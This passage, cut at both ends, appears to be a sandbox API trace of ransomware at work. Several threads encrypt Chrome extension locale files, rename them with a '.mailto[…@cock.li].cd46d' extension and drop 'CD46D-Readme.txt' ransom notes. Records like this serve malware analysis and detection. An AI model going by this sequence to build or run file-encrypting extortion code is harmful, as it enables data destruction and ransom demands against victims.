lpOverlapped=0x0 | out: lpBuffer=0x13587008*, lpNumberOfBytesRead=0xa46fdd0*=0xce, lpOverlapped=0x0) returned 1 [0198.488] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.488] WriteFile (in: hFile=0x1174, lpBuffer=0x13593810*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0xa46fdcc, lpOverlapped=0x0 | out: lpBuffer=0x13593810*, lpNumberOfBytesWritten=0xa46fdcc*=0xce, lpOverlapped=0x0) returned 1 [0199.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed30 [0199.548] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af280 [0199.549] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0199.549] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13593810) returned 1 [0199.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13587008) returned 1 [0199.577] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb190) returned 1 [0199.577] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 [0199.577] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938090 [0199.577] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.577] WriteFile (in: hFile=0x1174, lpBuffer=0x12cf5720*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa46fe34, lpOverlapped=0x0 | out: lpBuffer=0x12cf5720*, lpNumberOfBytesWritten=0xa46fe34*=0x10b, lpOverlapped=0x0) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5720) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9380c0) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938090) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed30) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945528) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945988) returned 1 [0199.631] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945708) returned 1 [0199.631] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0xd4c6828 [0199.631] wcscpy (in: _Dest=0xd4c6828, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" [0199.631] wcscat (in: _Dest=0xd4c6828, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.631] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa46fdec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.631] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x933ff0 [0199.675] FlushFileBuffers (hFile=0x1174) returned 1 [0199.685] CloseHandle (hObject=0x1174) returned 1 [0199.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x140) returned 0x9b5510 [0199.707] wcscpy (in: _Dest=0x9b5510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\" [0199.707] wcscat (in: _Dest=0x9b5510, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\CD46D-Readme.txt" [0199.707] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\cd46d-readme.txt")) returned 0xffffffff [0199.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xad0 [0199.720] WriteFile (in: hFile=0xad0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xa46fdf4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xa46fdf4*=0x6fd, lpOverlapped=0x0) returned 1 [0199.728] CloseHandle (hObject=0xad0) returned 1 [0199.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5510) returned 1 [0199.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a54b8) returned 1 Thread: id = 8414 os_tid = 0x1a40 [0193.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json")) returned 0x2020 [0193.531] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json", dwFileAttributes=0x20) returned 1 [0193.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1418 [0193.532] GetFileSizeEx (in: hFile=0x1418, lpFileSize=0x9d5fa94 | out: lpFileSize=0x9d5fa94*=206) returned 1 [0193.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9385e0 [0193.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938658 [0193.532] NtQuerySystemTime (in: CurrentTime=0x9d5f9f4 | out: CurrentTime=0x9d5f9f4*=132174899681350000) returned 0x0 [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x4b7960a7 [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x17b5aa81 [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x1a87ef2f [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x7c16b81e [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x60a1f670 [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x21860dfc [0193.532] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x32204020 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0xaa83600 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x65b770bc [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x6a09894d [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x5bae295a [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x16497f59 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x3c2ab2ed [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x74d780bd [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x2b59f330 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x4ff70084 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x317733fb [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x6ebb476e [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x20ec42a3 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x871182f [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x59e5817 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x3c890c5 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x53e5c28c [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x16bf2ded [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x3d629cae [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x52617470 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x6146f8ae [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x247dce [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x7182b094 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x26841885 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x666c2f99 [0193.533] RtlRandomEx (in: Seed=0x9d5fa00 | out: Seed=0x9d5fa00) returned 0x3f2f0cb1 [0193.546] ReadFile (hFile=0x1418, lpBuffer=0x13367880, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x9d5f9f0, lpOverlapped=0x0) [0193.547] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.548] WriteFile (in: hFile=0x1418, lpBuffer=0x13374088*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x9d5f9ec, lpOverlapped=0x0 | out: lpBuffer=0x13374088*, lpNumberOfBytesWritten=0x9d5f9ec*=0xce, lpOverlapped=0x0) returned 1 [0195.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b98 [0195.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5878 [0195.352] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5878) returned 1 [0195.352] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13374088) returned 1 [0195.352] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13367880) returned 1 [0195.352] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e88f0) returned 1 [0195.353] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9ba0) returned 1 [0195.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6e40 [0195.353] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.353] WriteFile (in: hFile=0x1418, lpBuffer=0x12cf53d8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x9d5fa54, lpOverlapped=0x0 | out: lpBuffer=0x12cf53d8*, lpNumberOfBytesWritten=0x9d5fa54*=0x10b, lpOverlapped=0x0) returned 1 [0197.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf53d8) returned 1 [0197.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6e70) returned 1 [0197.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5878) returned 1 [0197.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6e40) returned 1 [0197.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b98) returned 1 [0197.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9385e0) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938680) returned 1 [0197.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9386a8) returned 1 [0197.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494060 [0197.739] wcscpy (in: _Dest=0xd494060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" [0197.739] wcscat (in: _Dest=0xd494060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.739] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x9d5fa0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.739] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c96d0 [0197.910] FlushFileBuffers (hFile=0x1418) returned 1 [0197.923] CloseHandle (hObject=0x1418) returned 1 [0197.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6ff8 [0197.978] wcscpy (in: _Dest=0x9b6ff8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\" [0197.978] wcscat (in: _Dest=0x9b6ff8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\CD46D-Readme.txt" [0197.978] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\cd46d-readme.txt")) returned 0xffffffff [0197.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.111] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x9d5fa14, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x9d5fa14*=0x6fd, lpOverlapped=0x0) returned 1 [0198.112] CloseHandle (hObject=0x1094) returned 1 [0198.112] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6ff8) returned 1 [0198.112] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e088) returned 1 Thread: id = 8415 os_tid = 0x1a44 [0193.558] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0193.558] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json", dwFileAttributes=0x20) returned 1 [0196.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x179c [0196.700] GetFileSizeEx (in: hFile=0x179c, lpFileSize=0x9a9f8b4 | out: lpFileSize=0x9a9f8b4*=208) returned 1 [0196.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909690 [0196.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095a0 [0196.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909640 [0196.701] NtQuerySystemTime (in: CurrentTime=0x9a9f814 | out: CurrentTime=0x9a9f814*=132174899713018000) returned 0x0 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x49bb8473 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x51a943bb [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x3d370617 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x5a219a8e [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x49a8ac80 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x5ecbd6fa [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x18850fcc [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x7593ed60 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x6dce9784 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x26e1144 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x5cf2a933 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x6ddd1cf8 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x5223deb9 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x23a31239 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x3d55e944 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x3bb22a0c [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x67cc7b1e [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x752a65a7 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x6c02dcb3 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x1323d4c7 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0xbd8aef2 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x74650440 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x7b4b9b84 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x14f84ba1 [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x1a63147a [0196.701] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x45bfb7ff [0196.702] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x73370a77 [0196.702] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x4c453f03 [0196.702] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x11fe1c72 [0196.702] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x2d2a6d21 [0196.702] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x41dbc20b [0196.702] RtlRandomEx (in: Seed=0x9a9f820 | out: Seed=0x9a9f820) returned 0x49883fa5 [0196.713] ReadFile (in: hFile=0x179c, lpBuffer=0x13342068, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x9a9f810, lpOverlapped=0x0 | out: lpBuffer=0x13342068*, lpNumberOfBytesRead=0x9a9f810*=0xd0, lpOverlapped=0x0) returned 1 [0196.714] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.714] WriteFile (in: hFile=0x179c, lpBuffer=0x1334e870*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x9a9f80c, lpOverlapped=0x0 | out: lpBuffer=0x1334e870*, lpNumberOfBytesWritten=0x9a9f80c*=0xd0, lpOverlapped=0x0) returned 1 [0197.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938540 [0197.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938518 [0197.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938518) returned 1 [0197.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1334e870) returned 1 [0197.816] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13342068) returned 1 [0197.816] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb730) returned 1 [0197.816] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa020) returned 1 [0197.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6cc0 [0197.817] SetFilePointerEx (in: 